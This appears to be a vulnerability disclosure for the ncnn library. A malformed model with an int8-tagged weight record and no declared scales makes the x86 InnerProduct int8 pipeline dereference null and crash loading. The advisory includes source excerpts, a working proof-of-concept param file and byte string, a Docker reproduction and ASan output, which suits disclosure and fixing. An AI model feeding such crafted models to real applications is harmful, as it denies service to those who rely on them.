Malformed INT8 Model Crashes X86 Loading

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/innerproduct_x86.cpp:378 in InnerProduct_x86::create_pipeline_int8_x86
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x63a4d13b1e99 bp 0x7ffd5708aba0 sp 0x7ffd5708aa00 T0)

Summary

A malformed ncnn model can make the x86 InnerProduct int8 pipeline run even though the model never declared int8 scales, causing a null read that terminates the loading process. The dispatch condition in create_pipeline keys off the storage width of the loaded weight blob rather than the declared int8_scale_term, so an int8-tagged weight record in the .bin is enough to select the int8 path while weight_data_int8_scales and bottom_blob_int8_scales remain empty. ncnnoptimize triggers it via ncnn::Net::load_model, as does any x86 application loading an untrusted model with NCNN_INT8 and int8 inference enabled.

Detail

The untrusted inputs are the InnerProduct parameters 0 (num_output) and 2 (weight_data_size), the deliberately omitted parameter 8 (int8_scale_term), and the four-byte tag at the head of the .bin weight record. ModelBin::load selects the storage format from that tag alone: 0x000D4B38 means one-byte-per-element int8 data, and the resulting Mat has elemsize == 1.

InnerProduct::load_model populates the two scale matrices only when int8_scale_term is non-zero. With parameter 8 absent it defaults to zero, so both matrices stay default-constructed. InnerProduct_x86::create_pipeline nevertheless routes to the int8 pipeline based on weight_data.elemsize, a property the attacker controls from the binary file, and the two conditions are never cross-checked. The dequantization loop at the end of create_pipeline_int8_x86 then reads both matrices as if load_model had filled them.

// src/layer/innerproduct.cpp:53
#if NCNN_INT8
    if (int8_scale_term)
    {
        weight_data_int8_scales = mb.load(num_output, 1);
        bottom_blob_int8_scales = mb.load(1, 1);
    }
#endif // NCNN_INT8

// src/layer/x86/innerproduct_x86.cpp:63
#if NCNN_INT8
    if (opt.use_int8_inference && weight_data.elemsize == (size_t)1u)
    {
        return create_pipeline_int8_x86(opt);
    }
#endif

// src/layer/x86/innerproduct_x86.cpp:373
    scale_in_data.create(num_output);
    for (int p = 0; p < num_output; p++)
    {
        // dequantize
        float scale_in;
        if (weight_data_int8_scales[p] == 0)
            scale_in = 0;

The PoC declares InnerProduct fc 1 1 data out 0=1 1=0 2=1: one output, no bias, one weight element, and no 8= assignment. poc.bin is the eight bytes 38 4b 0d 00 7f 00 00 00 — the int8 tag plus alignSize(1, 4) == 4 bytes of weight data. weight_data loads as a one-element Mat with elemsize == 1, the int8 branch at line 64 is taken, and at p == 0 the read of weight_data_int8_scales[p] dereferences the null data pointer of the never-populated scale matrix.

Reproduce

mkdir -p ncnn-poc-malformed-int8-model-crashes-x86-loading && cd ncnn-poc-malformed-int8-model-crashes-x86-loading

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
1 2
InnerProduct fc 1 1 data out 0=1 2=1
PARAM

printf '\070\113\015\000\177\000\000\000' > poc.bin

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0

AddressSanitizer output:

find_blob_index_by_name data failed
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x616f6848ee99 bp 0x7ffffebec830 sp 0x7ffffebec690 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x616f6848ee99 in ncnn::InnerProduct_x86_avx512::create_pipeline_int8_x86(ncnn::Option const&) /ncnn/build/src/layer/x86/innerproduct_x86_avx512.cpp:378
    #1 0x616f68486828 in ncnn::InnerProduct_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/innerproduct_x86_avx512.cpp:66
    #2 0x616f654e2c96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
    #3 0x616f654e390a in ncnn::Net::load_model(_IO_FILE*) /ncnn/src/net.cpp:2257
    #4 0x616f654e3c91 in ncnn::Net::load_model(char const*) /ncnn/src/net.cpp:2292
    #5 0x616f653f6caf in main /ncnn/tools/ncnnoptimize.cpp:2797
    #6 0x7274f428e1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x7274f428e28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x616f65376624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/build/src/layer/x86/innerproduct_x86_avx512.cpp:378 in ncnn::InnerProduct_x86_avx512::create_pipeline_int8_x86(ncnn::Option const&)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst